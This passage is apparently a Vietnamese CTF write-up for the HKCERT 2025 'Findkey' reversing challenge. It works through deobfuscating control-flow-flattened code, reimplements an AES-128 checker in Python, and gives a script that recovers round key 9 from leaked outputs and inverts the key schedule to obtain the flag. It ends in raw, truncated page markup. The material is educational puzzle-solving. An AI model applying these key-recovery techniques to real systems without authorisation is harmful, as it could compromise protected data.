n9_4]); transferFirst16WhiteBox((__int64)dest_6); cook_some_swap(dest_6); xor16Bytes((__int64)dest_6, (__int64)source); if ( _mm_movemask_epi8(_mm_cmpeq_epi8(*(__m128i *)dest_6, desta[n16])) != 0xFFFF ) { match = 0; ++_; _ += 4; _ += 5; } ++_; n16_1 = n16; v50 = dword_40CA04; v51 = dword_40CA08; v52 = ((((unsigned int)dword_40CB90 \u0026gt;\u0026gt; 3) | (32 * dword_40CB8C)) ^ 0x63FD7) * dword_40CA70 + (((dword_40CB88 \u0026amp; dword_40CB84) + 80 * (dword_40CB80 ^ dword_40CB7C)) ^ 0x261) * dword_40CA70 * dword_40CA70; v53 = 2143 * dword_40CB98 + 26072 * dword_40CB94 - 759796583; ++_; _ += 6; n16 += 44 * dword_40CBC0 + 33 * dword_40CBC0 * dword_40CBC0 - 251846935 + ((((unsigned int)dword_40CBBC \u0026gt;\u0026gt; 3) | (32 * dword_40CBB8)) ^ 0xFD2EA) * dword_40CA78 + ((((unsigned int)dword_40CBB4 \u0026gt;\u0026gt; 3) | (32 * dword_40CBB0)) ^ 0xDBFEA) * dword_40CA78 * dword_40CA78 + (((((unsigned int)dword_40CBAC \u0026gt;\u0026gt; 3) | (32 * dword_40CBA8)) ^ 0xFFFD908F) + (13 * dword_40CBA4 + 43 * dword_40CBA4 * dword_40CBA4 - 29310) * dword_40CA74 + (2641 * dword_40CBA0 + 6017 * dword_40CB9C - 37439678) * dword_40CA74 * dword_40CA74) * dword_40CA08 + (v53 + v52) * dword_40CA04; } what_da_hell((__int64)\u0026amp;dest); v54 = \u0026amp;dest; dest_9 = destination; n9_5 = n9_3; v57 = dword_40CA0C; v58 = dword_40CA10; v59 = (((dword_40CBE0 \u0026amp; dword_40CBDC) + 88 * (dword_40CBD8 ^ dword_40CBD4)) ^ 0x3972) * dword_40CA7C + (((dword_40CBD0 \u0026amp; dword_40CBCC) + 61 * (dword_40CBC8 ^ dword_40CBC4)) ^ 0x17CC) * dword_40CA7C * dword_40CA7C; v60 = (42 * (dword_40CBE4 + 21)) ^ 0x14; _ += 7; _ += 6; HIDWORD(v5) = ((((22 * (dword_40CBF8 + 100)) ^ 0xE7) + 436994) ^ (((unsigned int)dword_40CA84 \u0026gt;\u0026gt; ((((unsigned int)dword_40CBF4 \u0026gt;\u0026gt; 3) | (32 * dword_40CBF0)) ^ 0xD5)) | (dword_40CA80 \u0026lt;\u0026lt; ((((unsigned int)dword_40CBEC \u0026gt;\u0026gt; 3) | (32 * dword_40CBE8)) ^ 0x52)))) * dword_40CA10 + (v60 - 107184 + v59) * dword_40CA0C; xor16Bytes( (__int64)\u0026amp;dest, (__int64)\u0026amp;destination[(((32583 * dword_40CC0C + 29531 * dword_40CC08 - 2072954027) ^ (((unsigned int)dword_40CA8C \u0026gt;\u0026gt; ((((unsigned int)dword_40CC04 \u0026gt;\u0026gt; 3) | (32 * dword_40CC00)) ^ 0x97)) | (dword_40CA88 \u0026lt;\u0026lt; (((38 * (dword_40CBFC + 3)) ^ 0x48) - 11)))) + HIDWORD(v5)) * n9_3]); transferFirst16WhiteBox((__int64)\u0026amp;dest); cook_some_swap(\u0026amp;dest); xor16Bytes((__int64)\u0026amp;dest, (__int64)source); dest_3 = dest_2; *dest_2 = dest; dest_3[1] = v21; return dest_3; } Sau khi dùng script để tìm index thì mình nhận thấy những vòng lặp nó chỉ đơn giản là tăng dần tới 1 lúc nào đó thì sẽ break như for bình thường nó chỉ làm rối code hơn thôi. Và còn vài chổ khác nữa như nói chung là giá trị của nó khá là cố định và đơn giản chỉ có phép toán phức tạp\nSau khi áp dụng script trace giá trị thì mình đã thấy nó khá giống AES-128bits key nhưng vì sợ nó có modify hay gì đó nên mình đã quyết định reverse lại toàn bộ\nĐây là script mô phỏng lại toàn bộ hành vi của chương trình của mình\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 #!/home/ryou/.venvs/re/bin/python import sys sbox = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ] src_data = [ 0x1F, 0x52, 0xDC, 0x4D, 0x2C, 0x84, 0x80, 0x91, 0xD6, 0x18, 0x5B, 0x4E, 0xBA, 0xC3, 0x0D, 0x71, 0x56, 0x52, 0xDC, 0x4D, 0x2C, 0x84, 0x80, 0xD8, 0xD6, 0x18, 0x72, 0x4E, 0xBA, 0x61, 0x0D, 0x71, 0x34, 0x52, 0xDC, 0x4D, 0x2C, 0x84, 0x80, 0x5C, 0xD6, 0x18, 0x43, 0x4E, 0xBA, 0x65, 0x0D, 0x71, 0xC9, 0x52, 0xDC, 0x4D, 0x2C, 0x84, 0x80, 0x28, 0xD6, 0x18, 0x61, 0x4E, 0xBA, 0x50, 0x0D, 0x71, 0xD4, 0x0B, 0xDC, 0x4D, 0x9B, 0x84, 0x80, 0x77, 0xD6, 0x18, 0x7D, 0x34, 0xBA, 0xCA, 0x47, 0x71, 0xD4, 0x41, 0xDC, 0x4D, 0x94, 0x84, 0x80, 0x77, 0xD6, 0x18, 0x7D, 0xDA, 0xBA, 0xCA, 0x62, 0x71, 0xD4, 0x36, 0xDC, 0x4D, 0x06, 0x84, 0x80, 0x77, 0xD6, 0x18, 0x7D, 0xE1, 0xBA, 0xCA, 0xAC, 0x71, 0xD4, 0xC2, 0xDC, 0x4D, 0xE7, 0x84, 0x80, 0x77, 0xD6, 0x18, 0x7D, 0xEA, 0xBA, 0xCA, 0x60, 0x71, 0xD4, 0x52, 0x6F, 0x4D, 0x2C, 0x37, 0x80, 0x77, 0x00, 0x18, 0x7D, 0x4E, 0xBA, 0xCA, 0x0D, 0x80, 0xD4, 0x52, 0x09, 0x4D, 0x2C, 0x3A, 0x80, 0x77, 0x40, 0x18, 0x7D, 0x4E, 0xBA, 0xCA, 0x0D, 0x7B, 0xD4, 0x52, 0x62, 0x4D, 0x2C, 0x93, 0x80, 0x77, 0x54, 0x18, 0x7D, 0x4E, 0xBA, 0xCA, 0x0D, 0x36, 0xD4, 0x52, 0xF0, 0x4D, 0x2C, 0x54, 0x80, 0x77, 0x10, 0x18, 0x7D, 0x4E, 0xBA, 0xCA, 0x0D, 0x17, 0xD4, 0x52, 0xDC, 0x1F, 0x2C, 0x84, 0xC8, 0x77, 0xD6, 0x4B, 0x7D, 0x4E, 0x17, 0xCA, 0x0D, 0x71, 0xD4, 0x52, 0xDC, 0x75, 0x2C, 0x84, 0x76, 0x77, 0xD6, 0x25, 0x7D, 0x4E, 0xCF, 0xCA, 0x0D, 0x71, 0xD4, 0x52, 0xDC, 0x2B, 0x2C, 0x84, 0x22, 0x77, 0xD6, 0x08, 0x7D, 0x4E, 0x16, 0xCA, 0x0D, 0x71, 0xD4, 0x52, 0xDC, 0x3E, 0x2C, 0x84, 0x33, 0x77, 0xD6, 0x81, 0x7D, 0x4E, 0x2D, 0xCA, 0x0D, 0x71 ] rcon = [ 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00 ] def kinda_sus(inp: list): dest = [0] * 176 cache = [0] * 4 for i in range(16): dest[i] = inp[i] i = 4 while True: if i \u0026gt;= 44: break for n4 in range(4): cache[n4] = dest[n4 + (i - 1) * 4] if i % 4 == 0: cache[0], cache[1], cache[2], cache[3] = cache[1], cache[2], cache[3], cache[0] for n4 in range(4): cache[n4] = sbox[cache[n4]] cache[0] ^= rcon[i // 4] for n4 in range(4): dest[n4 + 4 * i] = cache[n4] ^ dest[n4 + (i - 4) * 4] dest[n4 + 4 * i] \u0026amp;= 0xFF i += 1 return dest def whut_is_this(src: int, num: int): returnValue = 0 for _ in range(8): if (num \u0026amp; 1) != 0: returnValue ^= src v14 = 128 \u0026amp; src src \u0026lt;\u0026lt;= 1 if v14: src ^= 27 num \u0026gt;\u0026gt;= 1 return returnValue def cook_some_swap(src: list): src[1], src[5], src[9], src[13] = src[5], src[9], src[13], src[1] src[2], src[10] = src[10], src[2] src[6], src[14] = src[14], src[6] src[15], src[11], src[7], src[3] = src[11], src[7], src[3], src[15] return def xor16Bytes(dest: list, src: list): for i in range(16): # print(hex(src[i] ^ dest[i])) num = src[i] ^ dest[i] num \u0026amp;= 0xFF dest[i] = num def transferFirst16WhiteBox(dest: list): for i in range(len(dest)): dest[i] = sbox[dest[i]] return def what_da_hell(src: list): for n4 in range(4): pos = n4 * 4 first = src[pos] second = src[pos + 1] third = src[pos + 2] fourth = src[pos + 3] src[pos] = fourth ^ third ^ whut_is_this(second, 3) ^ whut_is_this(first, 2) src[pos + 1] = fourth ^ whut_is_this(third, 3) ^ first ^ whut_is_this(second, 2) src[pos + 2] = whut_is_this(fourth, 3) ^ whut_is_this(third, 2) ^ second ^ first src[pos + 3] = third ^ second ^ whut_is_this(first, 3) ^ whut_is_this(fourth, 2) for _ in range(4): src[pos + _] \u0026amp;= 0xFF return match = 1 print_hex = lambda x: \u0026#39; \u0026#39;.join(f\u0026#39;{i:02x}\u0026#39; for i in x) def is_this_enc(inp: list): dest = [0x32, 0x37, 0x38, 0x2d, 0x33, 0x36, 0x32, 0x2d, 0x37, 0x35, 0x31, 0x33, 0x36, 0x30, 0x31, 0x39] destination = kinda_sus(inp) xor16Bytes(dest, destination) for counter in range(1, 9): transferFirst16WhiteBox(dest) cook_some_swap(dest) what_da_hell(dest) xor16Bytes(dest, destination[counter * 16 : counter * 16 + 16]) transferFirst16WhiteBox(dest) cook_some_swap(dest) for n16 in range(16): craftbyte = list(int(0xFC2C4EB7D23BA45).to_bytes(8, byteorder=\u0026#39;little\u0026#39;) \\ + int(0xB464F693616239DA).to_bytes(8, byteorder=\u0026#39;little\u0026#39;)) craftbyte[n16] = 0 crafted = craftbyte what_da_hell(crafted) xor16Bytes( crafted, destination[144 : 144 + 16] ) transferFirst16WhiteBox(crafted) cook_some_swap(crafted) xor16Bytes(crafted, destination[160 : 160 + 16]) if crafted[:16] != src_data[n16 * 16 : n16 * 16 + 16]: match = 0 what_da_hell(dest) xor16Bytes( dest, destination[144 : 144 + 16] ) transferFirst16WhiteBox(dest) cook_some_swap(dest) xor16Bytes(dest, destination[160 : 160 + 16]) # dest += [0x57,0xe4,0x9d,0xe2,0xcc,0x66,0xb4,0x34,0xa0, 0xdb, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00] return dest def sus_print(fmt): for i in fmt: print(f\u0026#39;{i:02x}\u0026#39;, end = \u0026#39;\u0026#39;) print() pattern = list(b\u0026#39;skibiditoilethah\u0026#39;) print(sus_print(is_this_enc(pattern))) print(match) Đây chính xác là AES 128bit key rồi, tuy nhiên nếu chỉ để nguyên như này thì chắc chắn không giải quyết được gì bởi chỉ với plaintext và ciphertext thì khó mà tìm ra key\nEm nhận thấy trong code có một lỗ hỏng khá nghiêm trọng\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 for n16 in range(16): craftbyte = list(int(0xFC2C4EB7D23BA45).to_bytes(8, byteorder=\u0026#39;little\u0026#39;) \\ + int(0xB464F693616239DA).to_bytes(8, byteorder=\u0026#39;little\u0026#39;)) craftbyte[n16] = 0 crafted = craftbyte what_da_hell(crafted) xor16Bytes( crafted, destination[144 : 144 + 16] ) transferFirst16WhiteBox(crafted) cook_some_swap(crafted) xor16Bytes(crafted, destination[160 : 160 + 16]) if crafted[:16] != src_data[n16 * 16: 16 * n16+16]: match = 0 Tại đoạn này, Key Round 9th có thể bị phục hồi từ đó nhẫn tới việc tìm được Key ban đầu của AES\nKey 9 là destination[144 : 144 + 16] và key 10 là destination[160 : 160 + 16] Gọi trạng thái của crafted trước khi xor với key 10 ở vòng lặp thứ k là P(k) Ta có\nVới k \u0026gt; 1 src_data[k*16: (k+1)*16] ^ src_data[(k-1)*16: k*16] === P(k) ^ Key10 ^ P(k+1) ^ Key10 Key 10 bị triệt tiêu Pseudocode recover giá trị: Chúng ta có x và y tương ứng với list crafted ở n16=0 và n16=1 sau khi chạy qua hàm what_da_hell T và Q là src_data[k * 16: (k + 1) * 16] tương ứng với k = 0 và k = 1 sau khi đưa vào hàm inverse_cook_some_swap\nFOR i in 16 candidate FOR k in 256: if sbox[k ^ x[i]] ^ sbox[k ^ y[i]] == T[i] ^ Q[i] candidate append k all possible value is in candidate Để mà candidate có duy nhật 1 giá trị thì chúng ta có thể thử 15 cập hệ phương trình\nScript:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 def script(): def inverse_cook_some_swap(src: list): src[1], src[5], src[9], src[13] = src[13], src[1], src[5], src[9] src[2], src[10] = src[10], src[2] src[6], src[14] = src[14], src[6] src[15], src[11], src[7], src[3] = src[3], src[15], src[11], src[7] return src raw_bytes = list(int(0xFC2C4EB7D23BA45).to_bytes(8, \u0026#39;little\u0026#39;) + int(0xB464F693616239DA).to_bytes(8, \u0026#39;little\u0026#39;)) inputs = [] outputs = [] for n in range(16): inp = list(raw_bytes) inp[n] = 0 what_da_hell(inp) inputs.append(inp) out = list(src_data[n*16 : (n+1)*16]) inverse_cook_some_swap(out) outputs.append(out) RoundKey9 = [] for i in range(16): candidates = set(range(256)) base_in = inputs[0][i] base_out = outputs[0][i] for other_run in range(1, 16): other_in = inputs[other_run][i] other_out = outputs[other_run][i] target_diff = base_out ^ other_out valid_for_this_pair = set() for k in candidates: s0 = sbox[base_in ^ k] s_other = sbox[other_in ^ k] if (s0 ^ s_other) == target_diff: valid_for_this_pair.add(k) candidates = candidates.intersection(valid_for_this_pair) if len(candidates) == 1: break if len(candidates) == 1: RoundKey9.append(list(candidates)[0]) def reverse_kinda_sus(rk9): exp_key = [0] * 176 for i in range(16): exp_key[144 + i] = rk9[i] W = [0] * 44 for i in range(44): if i \u0026gt;= 36: W[i] = (exp_key[4 * i] \u0026lt;\u0026lt; 24) | (exp_key[4 * i + 1] \u0026lt;\u0026lt; 16) | (exp_key[4 * i + 2] \u0026lt;\u0026lt; 8) | exp_key[4 * i + 3] for i in range(35, -1, -1): temp = W[i+3] if (i + 4) % 4 == 0: temp = ((temp \u0026lt;\u0026lt; 8) \u0026amp; 0xFFFFFFFF) | (temp \u0026gt;\u0026gt; 24) t0, t1, t2, t3 = sbox[(temp \u0026gt;\u0026gt; 24) \u0026amp; 0xFF], sbox[(temp \u0026gt;\u0026gt; 16) \u0026amp; 0xFF], sbox[(temp \u0026gt;\u0026gt; 8) \u0026amp; 0xFF], sbox[temp \u0026amp; 0xFF] temp = (t0 \u0026lt;\u0026lt; 24) | (t1 \u0026lt;\u0026lt; 16) | (t2 \u0026lt;\u0026lt; 8) | t3 temp ^= (rcon[(i + 4) // 4] \u0026lt;\u0026lt; 24) W[i] = W[i+4] ^ temp key = [] for i in range(4): key.extend([(W[i] \u0026gt;\u0026gt; 24) \u0026amp; 0xFF, (W[i] \u0026gt;\u0026gt; 16) \u0026amp; 0xFF, (W[i] \u0026gt;\u0026gt; 8) \u0026amp; 0xFF, W[i] \u0026amp; 0xFF]) return key key = reverse_kinda_sus(RoundKey9) flag_bytes = bytes(key) print(f\u0026#39;Key {flag_bytes.hex()} Flag: {flag_bytes.decode()}\u0026#39;) Flag: flag{8579432268}\nUpdate Ở bài này có obfuscate CFF để làm rối Pattern của bài:\nĐầu tiên là các đoạn code chính sẽ nằm trong cùng một block Biến state sẽ được lưu trên stack tại vị trí [rbp - 436] và [rbp - 444] là biến nhớ tạm Mỗi block code chính sẽ chỉnh state để dispatcher xác định flow tiếp theo Pattern để chọn flow Các giá trị State thì nó được làm rối theo kiểu toán học tức là dùng những phép tính toán phức tạp để tính toán block tiếp theo cần được thực thi Để gỡ rối được thì nhiệm vụcủa chúng ta là cần phải xác định giá trị của [rbp - 444] ở mỗi state sau đó patch jump thẳng trực tiếp tới flow cần thiết luôn.\n","permalink":"https://ryouthecat.github.io/posts/ctf/hkcert2025/","summary":"\u003ch3 id=\"findkey\"\u003eFindkey\u003c/h3\u003e\n\u003ch4 id=\"analyze\"\u003eAnalyze\u003c/h4\u003e\n\u003cp\u003eBài này đã bị Obfuscate CFF + biểu thức toán vô nghĩa\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/posts/ctf/hkcert2025/first.png\"\u003e\u003c/p\u003e\n\u003cp\u003eVì những phép toán này chắc là hằng số nên chỉ cần viết script gdb để trace ra số mà thôi. Khi đọc thì đoạn công thức toán rối đó sẽ được lưu vào thanh ghi nào đó. Vì vậy mình có thể tìm ra xu hướng thay đổi của nó\u003c/p\u003e\n\u003cp\u003eScript\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"ch\"\u003e#!/home/ryou/.venvs/re/bin/python\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003efrom\u003c/span\u003e \u003cspan class=\"nn\"\u003epwn\u003c/span\u003e \u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eelf\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;./findkey\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eprocess\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;gdb\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;-q\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;--nx\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eelf\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003eprompt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eprm\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"nb\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esendlineafter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;(gdb)\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eprm\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003ereceive\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eprm\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"nb\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eprompt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eprm\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erecvline\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estrip\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003edump\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eprm\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"nb\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39; \u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eout\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ereceive\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan 